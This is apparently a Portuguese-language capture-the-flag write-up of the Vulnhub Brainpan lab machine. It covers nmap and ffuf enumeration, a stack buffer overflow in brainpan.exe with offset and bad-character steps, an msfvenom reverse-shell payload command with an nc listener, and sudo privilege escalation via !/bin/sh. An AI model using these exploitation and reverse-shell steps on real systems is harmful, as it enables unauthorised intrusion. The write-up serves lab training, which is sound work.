Home Vulnhub - Brainpan
Post
Cancel

Vulnhub - Brainpan


Olá

Aproveite.

Scanning web and services

Host Discovery

Inicialmente, foi realizado um escaneamento na rede em busca do IP da máquina alvo.

1
sudo nmap 10.0.2.1-255 -sn

O parâmetro -sn tem como finalidade realizar um ping scan.

scan nmap -sn

Port Discovery

Já com o IP alvo em mãos, foi utilizado o comando abaixo para obter mais informações a respeito das portas e serviços que estariam em funcionamento no alvo. O comando abaixo é dividido em duas partes, primeiramente ele realiza um escaneamento em todas as 65535 portas existentes e as filtra, armazenando tudo na variável ports que é utilizada na segunda parte do comando.

1
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.0.2.7 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.0.2.7

Resultado scan nmap

Como resultado foi obtido as portas 9999 com um serviço até então desconhecido denominado ”abyss?” e 10000 utilizando um SimpleTTPServer. A partir dessa informação, deu-se início à enumeração das portas.

Enumeration

Port 10000 - SimpleHTTPServer

Tendo em vista o total desconhecimento sobre o serviço da porta 9999, foi iniciado a enumeração da porta 10000 e foi encontrado uma página onde o conteúdo inteiro presente é uma imagem.

10.0.2.7:10000

A partir disso foi utilizado a ferramenta fuff para realizar o fuzzing de diretórios no serviço. Como resultado foi encontrado o diretório /bin no destino: [http://10.0.2.7:10000/bin](http://10.0.2.7:10000/bin)

1
ffuf -u http://10.0.2.7:10000/FUZZ -w /usr/share/wordlists/dirb/big.txt

ffuf

Port 9999 - brainpan.exe

Dentro do diretório /bin foi encontrado o arquivo brainpan.exe que ao ser testado com a ferramenta wine, mostrou-se ser o serviço que estava funcionando na porta 9999, conforme apresentado nas figuras abaixo.

conteudo dirbin

brainpan.exe

teste brainpan.exe

Foram feitas algumas tentativas de entradas de dados (senha) porém todas sem sucesso.

Após, foram iniciados testes com quantidades diferentes de strings até que fosse possível quebrar o programa, de acordo com as imagens a seguir.

python -c ‘print (”A” * 200)’

Resultado da inclusão de 200 A’s

Como visto, utilizando 200 bytes o programa funcionou normalmente. Agora, utilizaremos 1000 bytes.

python -c ‘print (”A” * 10000)’

Foi possível quebrar o programa, logo, não há tratamento para dados em excesso e com isso tentaremos realizar o Buffer Overflow.

Buffer Overflow

Após observar como a aplicação se comporta através da ferramenta gdb, foi verificado que o espaço de armazenamento da aplicação era de aproximadamente 520 bytes, logo, utilizando o comando abaixo, foi gerado uma lista com strings únicas.

1
msf-pattern_create -l 530

brainpan.exe buffer

Enviando essa string para a área de input do binário alvo, e, observando o que acontece com a ferramenta Immunity Debugger, foi possível obter o parâmetro EIP onde a aplicação quebra.

Parâmetro EIP

Utilizando os dados obtidos no EIP da aplicação e, utilizando o comando abaixo, é possível obter a posição do desejado offset.

1
msf-pattern_offset -l 530 -q 35724134

offset 524

Com o valor do offset em mãos, chega a hora de utilizar nosso script para termos certeza a respeito do domínio total do EIP. O script abaixo, envia, de maneira automática, um buffer composto de 524 strings “A” e mais 4 strings “B”. As strings “B” (42) deverão ser visualizadas nos registradores do EIP.

fuzzer.py

evil buffer in work

local das strings BBBB

Conforme a figura acima, o EIP foi corretamente preenchido com as strings “B”. Com isso, nosso controle do EIP está garantido.

Para gerar uma lista com todos os chars é utilizado os seguintes comandos

  • !mona config -set workingfolder c:\monalogs\%p
  • !mona bytearray

Gerando a seguinte lista de chars

1
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

fuzzer-2.py

!mona compare -f c:\monalogs\brainpan\bytearray.bin -a 0028F930

Com base na resposta do mona na figura acima, foi percebido que havia \x00\ como um badchar. A partir disso, foram repetidos os passos anteriores porém, utilizando o parâmetro -b e o badchar.

Novamente foi feito o fuzzing para verificação de novos badchars. Não foi encontrado nenhum.

Tendo em vista que já encontramos e temos controle total do EIP, chegou a hora de buscar na aplicação o opcode JMP ESP.

O opcode JMP ESP é responsável por realizar um SALTO para o opcode ESP.

opcode JMP ESP

Como visualizado na figura acima, foi encontrado o opcode JMP ESP e o mesmo possui os parâmetros 311712F3 e estes, devem ser passados, ao contrário, para nosso script no parâmetro retn conforme apresentado na figura abaixo.

fuzzer-3.py

No script fuzzer-3.py pode-se observar as variáveis “overflow, retn e padding”. Na variável “padding” está sendo enviado 400 strings “\xCC\” logo após o JMP ESP que está na variável “retn”.

sending fuzzer-3.py

Tela Immunity Debbuger xCC

O próximo passo é criar o payload que será utilizado após a variável “padding” do nosso script. Para isso deve ser utilizado o comando abaixo.

Lembrando de alterar os dados LHOST e LPORT

1
sudo msfvenom -p linux/x86/shell_reverse_tcp -b '\x00' LHOST=10.0.2.6 LPORT=1337 -f python

msfvenom payload

fuzzer-4.py

Executando o script da figura acima e utilizando o nc como o listener da porta 1337, entramos na máquina.

Shell Obtido

Shell Obtido!

Privilege Escalation

A partir do momento que foi obtido a shell na máquina alvo, foram realizados procedimentos padrão em busca da escalação de privilégios e o comando sudo -l nos trouxe como resposta que o usuário puck possuía permissão de executar o comando /home/anansi/bin/anansi_util como um usuário mais privilegiado, no caso, o root.

/home/anansi/bin/anansi_util

Executando o comando supracitado e entendendo seu funcionamento, foi possível observar que o mesmo possuía alguns parâmetros para executar. Dentre eles, o parâmetro manual chamou a atenção e ao utiliza-lo foi possível observar que havia a possibilidade de chamar outros comandos dentro do manual, conforme a figura abaixo.

!/bin/sh

Ao utilizar o comando !/bin/sh foi possível escalar privilégios.

b.txt

Root obtido Brainpan!

This post is licensed under CC BY 4.0 by the author.
Contents